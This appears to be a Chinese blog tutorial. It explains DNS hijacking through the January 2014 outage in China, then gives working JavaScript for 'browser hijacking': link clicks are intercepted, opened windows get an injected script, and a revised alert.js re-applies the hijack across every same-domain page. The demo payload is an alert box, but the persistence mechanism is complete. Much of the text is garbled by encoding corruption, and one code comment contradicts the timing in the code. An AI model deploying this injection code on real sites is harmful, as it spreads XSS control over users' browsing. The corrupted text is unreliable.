
1.前言
相信大家都遇到過這樣的情況:
當(dāng)你在家正興致勃勃的網(wǎng)上沖浪的時(shí)候,忽然之間,所有網(wǎng)頁(yè)都打不開了,所有聯(lián)網(wǎng)的軟件都無(wú)法聯(lián)網(wǎng)了,用測(cè)速軟件測(cè)網(wǎng)速,網(wǎng)速卻顯示正常,但就是無(wú)法瀏覽網(wǎng)頁(yè)或者打開網(wǎng)頁(yè)奇慢。
這是什么原因呢?
很不幸的告訴你,這是因?yàn)槟愕?** DNS 被劫持** 了
2014年1月21日下午15點(diǎn)中國(guó)境內(nèi)發(fā)生 DNS 解析服務(wù)故障(主要原因是DNS污染或 DNS劫持),導(dǎo)致 百度 等多家網(wǎng)站長(zhǎng)達(dá)幾個(gè)小時(shí)之內(nèi)無(wú)法訪問。其指向的 IP地址 為65.49.2.178,所以該IP又被冠名為65.49.2.178事件。
2014年1月21日下午三點(diǎn)十分左右,全國(guó) DNS 域名解析系統(tǒng)出現(xiàn)了大范圍的訪問故障,包括 DNSPod 在內(nèi)的多家域名解析服務(wù)提供商予以確認(rèn),此次事故波及全國(guó),有近三分之二的網(wǎng)站不同程度的出現(xiàn)了不同地區(qū)、不同網(wǎng)絡(luò)環(huán)境下的訪問故障,其中百度、新浪 等知名網(wǎng)站也受到了影響。
2.什么是dns劫持?
DNS劫持 又稱域名劫持,是指通過某些手段取得某域名的解析控制權(quán),修改此域名的解析結(jié)果,導(dǎo)致對(duì)該域名的訪問由原IP地址轉(zhuǎn)入到修改后的指定IP,其結(jié)果就是對(duì)特定的網(wǎng)址不能訪問或訪問的是假網(wǎng)址。
如果可以冒充域名服務(wù)器,然后把查詢的IP地址設(shè)為攻擊者的IP地址,這樣的話,用戶上網(wǎng)就只能看到攻擊者的主頁(yè),而不是用戶想要取得的網(wǎng)站的主頁(yè)了,這就是DNS劫持的基本原理。DNS劫持其實(shí)并不是真的“黑掉”了對(duì)方的網(wǎng)站,而是冒名頂替、招搖撞騙罷了。
好了扯了這么多,進(jìn)入正題,我今天要分享的是與之相關(guān)的另外一種劫持技術(shù)——瀏覽器劫持技術(shù)
3.瀏覽器劫持
瀏覽器劫持技術(shù)是指通過劫持用戶點(diǎn)擊鏈接操作,在打開新窗口的時(shí)候注入攻擊者的 JavaScript 腳本,以達(dá)到將 XSS(跨站腳本攻擊)威脅延續(xù)到同域內(nèi)的其他頁(yè)面的目的。
Example:
HTML文件
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<!-- 劫持鏈接對(duì)象 -->
<a href="test_映紛創(chuàng)意.html">映紛創(chuàng)意</a>
<a href="test_映紛創(chuàng)意_joinus.html">映紛創(chuàng)意_joinus</a>
<script type="text/javascript">
function scriptobj(window_obj, src){
s = window_obj.document.createElement('script');
s.src = src;
window_obj.document.getElementsByTagName('body')[0].appendChild(s);
}
function hijack_links(js){
/*劫持鏈接點(diǎn)擊,參數(shù)說明:
js:注入打開的同域鏈接頁(yè)面的目標(biāo) js 文件*/
for(i = 0; i < document.links.length; i++){
//遍歷鏈接對(duì)象,劫持 onclick 事件
document.links[i].onclick = function(){
x = window.open(this.href); //獲取打開新窗口的對(duì)象
setTimeout("scriptobj(x,'"+js+"')",1000);
//延時(shí) 2 秒向打開的劫持鏈接對(duì)象的 DOM 樹種注入 alert.js 文件
return false;
};
}
}
hijack_links('js/alert.js');
</script>
</body>
</html>
js 文件(alert.js)
alert("哈哈,你被劫持了!");
通過測(cè)試,我們發(fā)現(xiàn)從當(dāng)前網(wǎng)頁(yè)打開的所有鏈接都被劫持了(這里為了測(cè)試,使用彈出框來代表被注入的腳本文件)



為了讓這樣的劫持繼續(xù)下去,可以在 alert.js 中繼續(xù)執(zhí)行 hijack_links ,以達(dá)到在同域內(nèi)對(duì)任意頁(yè)面進(jìn)行控制的目的。
修改后的 js 文件如下(alert.js):
(這里依然使用彈出框來代表新打開窗口已被注入腳本文件)
alert("哈哈,你被劫持了!");
function scriptobj(window_obj, src) {
s = window_obj.document.createElement('script');
s.src = src;
window_obj.document.getElementsByTagName('body')[0].appendChild(s);
}
function hijack_links(js) {
/*劫持鏈接點(diǎn)擊,參數(shù)說明:
js:注入打開的同域鏈接頁(yè)面的目標(biāo) js 文件*/
for(i = 0; i < document.links.length; i++) {
//遍歷鏈接對(duì)象,劫持 onclick 事件
document.links[i].onclick = function() {
x = window.open(this.href); //獲取打開新窗口的對(duì)象
setTimeout("scriptobj(x,'" + js + "')", 1000);
//延時(shí) 2 秒向打開的劫持鏈接對(duì)象的 DOM 樹種注入 alert.js 文件
return false;
};
}
}
hijack_links('js/alert.js');
這時(shí),你會(huì)發(fā)現(xiàn)同域內(nèi)的所有你打開的網(wǎng)頁(yè)都被劫持了,即使你從新打開的網(wǎng)頁(yè)中點(diǎn)擊任何鏈接打開其他窗口依然在被劫持的域名內(nèi),無(wú)論你打開多少網(wǎng)頁(yè),都會(huì)被攻擊者注入腳本。
參考《Web 前端黑客技術(shù)揭秘》